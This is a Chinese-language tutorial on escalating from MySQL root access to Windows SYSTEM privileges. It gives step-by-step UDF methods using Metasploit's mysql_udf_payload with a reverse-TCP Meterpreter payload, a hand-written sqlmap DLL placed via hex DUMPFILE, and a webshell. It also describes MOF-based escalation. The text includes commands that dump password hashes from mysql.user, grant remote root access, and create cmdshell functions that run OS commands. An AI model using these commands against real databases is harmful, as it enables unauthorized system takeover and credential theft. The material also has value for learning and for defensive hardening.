Windows 提权——数据库提权¶
一、mysql提权
0X01udf提权
了解UDF
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展。
通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令,将MYSQL账号root转化为系统system权限。
获取网站数据库账号密码
1.对于CMS,查找配置文件(inc.php/config.php/connect.php)
2.查找Mysql安装目录,在安装目录“/data/mysql/user.myd”中存放了root账号密码,可通过md5解密获得。
3.使用查询语句进行查询
select user,password from mysql.user;
select user,password from mysql.user where user ='root';
使用UDF提权的知识储备
select version(); # 获取数据库版本
select user(); # 获取数据库用户
select @@basedir; # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。
利用条件:
- mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。
- mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
- 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
- 可以将udf.dll写入到相应目录的权限。
- 知道root账号密码
操作方法一 MSF-udf-利用:
靶场设置:在phpmyadmin中开启mysql远程连接
执行use mysql;
执行grant all privileges on . to root@'%' identified by '密码';
执行flush privileges;
在MySQL的安装目录下创建/lib/plugin (方便提权复现,也可以通过某工具进行创建)
使⽤MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进⾏UDF提权
-
设置参数,执行导入dll
use exploit/multi/mysql/mysql_udf_payload set payload windows/meterpreter/reverse_tcp set password xxxxx(密码) set rhosts 192.168.191.152 #靶机IP run
-
使用数据库管理工具连接mysql,执行命令下面命令查看dll是否导入成功,并且新建函数sys_exec
select * from func;
- sys_exec无回显,使用创建的dll生成自建函数sys_eval
create function sys_eval returns string soname 'vsUZFsjO.dll';
- 执行查询命令
select sys_eval('whoami');
操作方法二 手工导出sqlmap中的dll:
条件:在my.ini中创建配置文件:
[mysqld]中添加属性 secure_file_priv=''
sqlmap中有udf文件,一般在\sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_
- 将sqlmap中的dll_文件解码为dll;cloak.py目录为:sqlmap/extra/cloak
python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll
kali中
//python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o udf.dll
- 将我们的udf.dll文件通过十六机制进行处理;
SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf.txt';
- 打开navcat,新建一个表,表名为udftmp,用来存放本地传来的udf文件的内容
create table udftmp (udf LONGBLOB);
- 在udftmp中写入udf文件的十六进制内容
INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));
- 将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。
SELECT @@plugin_dir;
SELECT udf from udftmp INTO DUMPFILE "C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\udf.dll";
- 执行下面语句,创建函数cmdshell
create function cmdshell returns string soname 'udf.dll';
- 执行命令
select cmdshell ('whoami');
操作方法三 暗月moon.php:
-
利用大马查询mysql版本、数据库用户、安装目录以及plugin路径
-
如果不存在相关路径,可以通过大马进行创建
-
在my.ini中
[mysqld]中添加属性 secure_file_priv=''
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
因为mysql默认设置是不允许导入导出的;secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限
- 执行命令,查看mysql版本位数
show variables like '%version_%';
-
上传UDF提权专用shell “/webshell-master/net-friend/php/moon.php”
-
导出udf后提交创建sys_eval命令
-
mof提权
-
描述
托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实 例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文 件进行编译
- 原理
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命
令。
-
影响版本
-
windows 03及以下版本
- mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录3.secure-file-priv参数不为null
4.复现
公开的nullevt.mof利用代码
把mof.php上传到脚本 填写命令导出即可